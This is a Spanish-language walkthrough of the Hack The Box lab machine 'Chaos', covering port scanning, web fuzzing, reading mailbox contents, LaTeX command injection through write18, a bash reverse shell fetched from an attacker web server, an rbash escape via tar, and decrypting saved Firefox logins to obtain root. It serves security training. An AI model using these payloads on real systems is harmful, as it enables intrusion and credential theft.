Inicio Chaos HTB Write-up
Entrada
Cancelar

Chaos HTB Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Chaos, la cual tiene una dificultad media. Para lograr vulnerarla realizaremos lo siguiente:

  • Fuzzing de directorios web.
  • Adivinar credenciales demasiado débiles.
  • Utilización de claws-mail (abusando de email).
  • Decrypt de un mensaje.
  • Restricted bash bypass.
  • Extracción de credenciales de una sesión de navegador.

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping:

1
2
3
4
ping -c 1 10.10.10.120

PING 10.10.10.120 (10.10.10.120) 56(84) bytes of data.
64 bytes from 10.10.10.120: icmp_seq=1 ttl=63 time=144 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap -p- -sS --open -min-rate 5000 10.10.10.120 -oG Port

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
4
5
6
7
PORT      STATE SERVICE
80/tcp    open  http
110/tcp   open  pop3
143/tcp   open  imap
993/tcp   open  imaps
995/tcp   open  pop3s
10000/tcp open  snet-sensor-mgmt

Realizamos un escaneo de los servicios expuestos utilizando nmap:

1
nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN ServiceScan

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp   open  pop3     Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_pop3-capabilities: STLS PIPELINING SASL TOP UIDL AUTH-RESP-CODE RESP-CODES CAPA
143/tcp   open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: IMAP4rev1 more OK LITERAL+ have IDLE LOGIN-REFERRALS SASL-IR listed capabilities Pre-login LOGINDISABLEDA0001 post-login ID ENABLE STARTTLS
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: IMAP4rev1 OK LITERAL+ more IDLE LOGIN-REFERRALS have AUTH=PLAINA0001 capabilities listed ENABLE post-login ID SASL-IR Pre-login
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
995/tcp   open  ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_pop3-capabilities: USER PIPELINING SASL(PLAIN) TOP UIDL AUTH-RESP-CODE RESP-CODES CAPA
10000/tcp open  http     MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Observamos un montón de protocolos de email que los veremos después, vemos el puerto 80 con un servicio http, por lo tanto, vamos a usar whatweb para enumerar información:

1
2
whatweb 10.10.10.120
http://10.10.10.120 [200 OK] Apache[2.4.34], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.34 (Ubuntu)], IP[10.10.10.120]

No vemos casi nada, vamos a revisar la web:

Observamos que no hay nada, sin embargo, leyendo lo que dice quizás se está aplicando virtual hosting y tenemos que entrar por un dominio, para ello tenemos que encontrar como se llama.

Si nos fijamos en la captura de nmap:

1
2
 ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos

Vemos el dominio chaos, por convenio normalmente siempre terminan en .htb así que vamos a introducir todo eso en el /etc/hosts:

1
2
3
4
5
6
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.10.120    chaos.htb

Con esto listo, vamos a ver la web:

Ahora si, por lo tanto, se estaba aplicando virutal hosting.

Si inspeccionamos la web no encontramos nada de utilidad, por mientras vamos a fuzzear directorios utilizando wfuzz:

1
wfuzz -c --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 http://chaos.htb/FUZZ

Vamos a investigar el otro puerto http:

Vamos a ingresar donde nos dicen:

Encontramos un panel de webmin, sin embargo, no podemos hacer mucho (podría pensarse en shelllock porque es .cgi pero no es el caso).

Si volvemos al fuzzing, no encontramos nada de interés.

Pero como se está aplicando virtual hosting vamos a fuzzear por la dirección ip:

1
wfuzz -c --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 http://10.10.10.120/FUZZ

Encontramos algo:

1
000000793:   301        9 L      28 W       309 Ch      "wp" 

Podría tratarse de una de las direcciones de WordPress, vamos a verlo:

Encontramos una página con directory listing, si hacemos click en wordpress nos redirige hacia otra página:

Explotación

Vemos una sección donde pide contraseña, vamos a poner las típicas como password, pass, pero no hay resultado, si hacemos click en el post:

Vemos el nombre del autor del post human, como último intento manual utilizaremos human:

Vemos que esa era la contraseña, nos da unas credenciales de webmail, vamos a probarlas, para ello haremos uso de claws-mail para intentar conectados por imap:

Ingresamos la información que tenemos y entramos:

Vemos que tenemos varias carpetas, vamos a ir entrando una por una:

Encontramos un mail donde envía un archivo encriptado y el código con el que lo enviaron. Vamos a revisarlo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

Sin embargo, no buscaremos la forma de crear el decrypt, vamos a buscarlo por internet, encontramos este github que salió con nuestra búsqueda, la cual fue copypaste del código.

Vamos a utilizar el decrypt.py:

1
2
3
python decrypt.py
Enter filename: enim_msg.txt
Enter password: sahay

Esto nos crea un archivo:

1
2
cat im_msg.txt
SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK

Que es en base64, asi que lo vamos a decodear:

1
2
3
4
5
6
7
8
9
10
11
base64 -d im_msg.txt
Hii Sahay

Please check our new service which create pdf

p.s - As you told me to encrypt important msg, i did :)

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

Thanks,
Ayush

Vemos que al parecer hay un servicio para crear pdf y nos dan el directorio, vamos a verlo:

Si hacemos pruebas no vemos nada, vamos a intentar fuzzear este directorio por si encontramos alguna parte donde se puedan ver los pdf creados:

1
wfuzz -c --hc=404 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/FUZZ

Encontramos varios:

1
2
3
4
5
6
000000222:   301        9 L      28 W       331 Ch      "doc"
00000013:   200        54 L     147 W      2656 Ch     "#"                                                                                                                                               
000000651:   301        9 L      28 W       334 Ch      "source"                                                                                                                                          
000000081:   301        9 L      28 W       337 Ch      "templates"                                                                                                                                       
000000143:   301        9 L      28 W       331 Ch      "pdf"                                                                                                                                             
000014361:   301        9 L      28 W       331 Ch      "tex

Hay uno llamado doc, si nos metemos:

Encontramos cosas de Latex, será que hacen los documentos con ello?

Vamos al más interesante que se llama pdf:

Encontramos un montón de pdf, acá debe ser donde se almacenan, vamos a crear un pdf con la palabra hola y buscaremos si está aquí:

Efectivamente, se encuentra el pdf, vamos a analizar la petición por burpsuite:

Vemos que si están empleando latex para crear los documentos, vamos a buscar formas de aprovecharnos de eso.

Vemos que hay una forma de ejecutar comandos, vamos a utilizar este:

1
\immediate\write18{id}

Observamos que tenemos ejecución remota de comandos, vamos entonces a ganar acceso al sistema.

Esto lo realizaremos como siempre, compartiendo un index.html malicioso por un servidor http con python, haremos que la máquina víctima intente acceder a ese recurso y lo pipee con bash, mientras escuchamos conexión por netcat:

index.html:

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.17/1234 0>&1

Vamos a mandar el comando:

En nuestro servidor en python:

1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.120 - - [17/Feb/2023 16:26:33] "GET / HTTP/1.1" 200 -

Y en el netcat:

1
2
3
4
5
6
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.120] 59318
bash: cannot set terminal process group (1069): Inappropriate ioctl for device
bash: no job control in this shell
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ 

Tenemos acceso al sistema.

Pero no tenemos acceso a las carpetas, pero recordamos que tenemos una credencial de ayush, vamos a ver si la han reutilizado:

1
2
3
www-data@chaos:/home$ su ayush
Password: 
ayush@chaos:/home$ 

Vamos a ver la flag:

1
2
rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names
ayush@chaos:/home$ 

Sin embargo, no podemos debido a que tenemos la bash restringida, si hacemos doble tab:

1
2
3
4
5
6
7
8
9
10
11
ayush@chaos:/home$ 
!                         break                     coproc                    esac                      getopts                   mapfile                   set                       true
./                        builtin                   declare                   eval                      hash                      ping                      shift                     type
:                         caller                    dir                       exec                      help                      popd                      shopt                     typeset
[                         case                      dirs                      exit                      history                   printf                    source                    ulimit
[[                        cd                        disown                    export                    if                        pushd                     suspend                   umask
]]                        command                   do                        false                     in                        pwd                       tar                       unalias
{                         command_not_found_handle  done                      fc                        jobs                      read                      test                      unset
}                         compgen                   echo                      fg                        kill                      readarray                 then                      until
alias                     complete                  elif                      fi                        let                       readonly                  time                      wait
bg                        compopt                   else                      for                       local                     return                    times                     while

Vemos todos los que podemos utilizar, hay uno en especial que es bastante interesante, corresponde al tar, pues si buscamos en la página web de GTFobins encontramos con que tar permite dar una shell, en este caso los permitiría saltarnos la rbash:

1
2
3
ayush@chaos:/home$ tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
bash: groups: command not found
1
2
3
4
5
Si intentamos realizar un comando:

ayush@chaos:/home$ ls
Command 'ls' is available in '/bin/ls'
The command could not be located because '/bin' is not included in the PATH environment variable.

Vemos que ya no tenemos resticción, sin embargo, faltan rutas en el path, por lo tanto, vamos a cambiar eso:

1
ayush@chaos:/home$ export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games

Utilizamos la variable path de nuestro equipo.

Ahora intentamos realizar comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ayush@chaos:/home$ cd ayush/
ayush@chaos:~$ ls -la
total 40
drwx------ 6 ayush ayush 4096 Feb 17 20:43 .
drwxr-xr-x 4 root  root  4096 Jun 30  2022 ..
drwxr-xr-x 2 root  root  4096 Jun 30  2022 .app
lrwxrwxrwx 1 root  root     9 Jul 12  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ayush ayush  220 Oct 28  2018 .bash_logout
-rwxr-xr-x 1 root  root    22 Oct 28  2018 .bashrc
drwx------ 3 ayush ayush 4096 Feb 17 20:43 .gnupg
drwx------ 3 ayush ayush 4096 Feb 17 20:47 mail
drwx------ 4 ayush ayush 4096 Jun 30  2022 .mozilla
-rw-r--r-- 1 ayush ayush  807 Oct 28  2018 .profile
-rw------- 1 ayush ayush   33 Feb 17 18:41 user.txt

Vemos que ya podemos realizar todo con comodidad y nos hemos saltado le rbash.

Vemos algo interesante, el .mozilla, pero ahora vamos a ver la flag de usuario:

1
2
ayush@chaos:~$ cat user.txt
eeca3d989309ee3028a35

¡Bien! tenemos la flag, ahora tenemos que escalar privilegios.

Escalada de privilegios

Vimos un directorio firefox, antes de realizar otra cosa vamos a revisarlo, pues podrían existir cosas interesantes:

1
2
ayush@chaos:~/.mozilla/firefox$ ls
 bzo7sjt1.default  'Crash Reports'   profiles.ini

Vemos que hay una sesión, podría existir información que nos interese.

Si filtramos por ejemplo por password:

1
2
3
4
ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ grep -r -i password 2>/dev/null
Binary file webappsstore.sqlite matches
logins.json:{"nextId":3,"logins":[{"id":2,"hostname":"https://chaos.htb:10000","httpRealm":null,"formSubmitURL":"https://chaos.htb:10000","usernameField":"user","passwordField":"pass","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb","guid":"{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}","encType":1,"timeCreated":1540642202692,"timeLastUsed":1540642202692,"timePasswordChanged":1540642202692,"timesUsed":1}],"disabledHosts":[],"version":2}
Binary file key4.db matches

Vemos cosas, asi que vamos a utilizar una heramienta llamada firefox decrypt que está en github esto nos permitirá extraer las contraseñas que se encuentren almacenadas.

Vamos primero a abrir un servidor http con python en la máquina víctima y vamos a descargar todo lo que está en ese directorio.

1
2
ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

Luego, en nuestras máquina:

1
2
3
4
5
6
7
8
9
wget -r chaos.htb:8000
--2023-02-17 17:37:11--  http://chaos.htb:8000/
Resolving chaos.htb (chaos.htb)... 10.10.10.120
Connecting to chaos.htb (chaos.htb)|10.10.10.120|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2983 (2.9K) [text/html]
Saving to: ‘chaos.htb:8000/index.html’

chaos.htb:8000/index.html                            100%[=====================================================================================================================>]   2.91K  --.-KB/s    in 0.002s  

Lo descargaremos todo.

Luego, vamos a utiliar el script dandole la ruta donde están los archivos:

1
2
3
4
5
6
python3 firefox_decrypt.py ../chaos.htb:8000
2023-02-17 17:38:57,539 - WARNING - profile.ini not found in ../chaos.htb:8000
2023-02-17 17:38:57,539 - WARNING - Continuing and assuming '../chaos.htb:8000' is a profile location

Master Password for profile ../chaos.htb:8000: 

Nos pide una contraseña, vamos a introducir la que sabemos:

1
2
3
4
5
6
7
8
9
python3 firefox_decrypt.py ../chaos.htb:8000
2023-02-17 17:39:35,187 - WARNING - profile.ini not found in ../chaos.htb:8000
2023-02-17 17:39:35,188 - WARNING - Continuing and assuming '../chaos.htb:8000' is a profile location

Master Password for profile ../chaos.htb:8000: 

Website:   https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'

Y ha funcionado, tenemos un usuario y contraseña, vamos a probarlas:

1
2
3
4
5
6
ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ su root
Password: 
root@chaos:/home/ayush/.mozilla/firefox/bzo7sjt1.default# cd /root/
root@chaos:~# cat root.txt
e893768eae0135bb85dfeb75

¡Listo! Nos convertimos en root, hemos terminado la máquina.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.